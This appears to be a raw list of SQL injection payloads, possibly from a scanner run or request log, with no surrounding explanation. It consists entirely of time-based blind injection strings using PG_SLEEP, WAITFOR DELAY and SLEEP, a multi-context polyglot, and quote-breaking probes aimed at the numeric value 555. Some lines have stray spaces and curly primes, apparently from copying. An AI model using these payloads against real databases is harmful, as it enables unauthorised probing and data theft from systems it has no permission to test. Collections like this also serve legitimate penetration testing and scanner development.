555-1)) OR 437=(SELECT 437 FROM PG_SLEEP(15))--

555-1) OR 971=(SELECT 971 FROM PG_SLEEP(15))--

555-1 OR 756=(SELECT 756 FROM PG_SLEEP(15))--

555fHIWqNcU′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/